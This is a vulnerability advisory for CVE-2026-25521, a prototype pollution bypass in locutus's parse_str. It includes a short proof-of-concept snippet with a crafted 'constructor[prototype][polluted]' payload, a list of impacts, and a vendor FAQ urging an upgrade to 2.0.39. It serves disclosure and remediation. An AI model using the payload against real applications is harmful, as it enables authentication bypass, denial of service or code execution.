CVE-2026-25521

A Prototype Pollution vulnerability exists in the the npm package locutus (>2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39.

Details

The vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings.

PoC

Steps to reproduce

1. Install latest version of locutus using npm install or cloning from git
2. Run the following code snippet:

String.prototype.includes = () => false;      
console.log({}.polluted);
const locutus = require('locutus');
locutus.php.strings.parse_str('constructor[prototype][polluted]=yes');
console.log({}.polluted);  // prints yes -> indicating that the patch was bypassed and Prototype Pollution occurred

Expected behavior

Prototype Pollution should be prevented and {} should not gain new properties.
This should be printed on the console:

undefined
undefined OR throw an Error

Actual behavior

Object.prototype is polluted
This is printed on the console:

undefined 
yes

This is a Prototype Pollution vulnerability, which can have severe security implications depending on how locutus is used by downstream applications. Any application that processes attacker-controlled input using this locutus.php.strings.parse_str may be affected. It could potentially lead to the following problems:

1. Authentication bypass
2. Denial of service
3. Remote code execution (if polluted property is passed to sinks like eval or child_process)

Kodem intelligence

1. What is CVE-2026-25521? CVE-2026-25521 is a critical-severity security vulnerability in locutus (npm), affecting versions >= 2.0.12, < 2.0.39. It is fixed in 2.0.39.
2. Which versions of locutus are affected by CVE-2026-25521? locutus (npm) versions >= 2.0.12, < 2.0.39 is affected.
3. Is there a fix for CVE-2026-25521? Yes. CVE-2026-25521 is fixed in 2.0.39. Upgrade to this version or later.
4. Is CVE-2026-25521 exploitable, and should I be worried? Whether CVE-2026-25521 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-25521 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-25521? Upgrade locutus to 2.0.39 or later.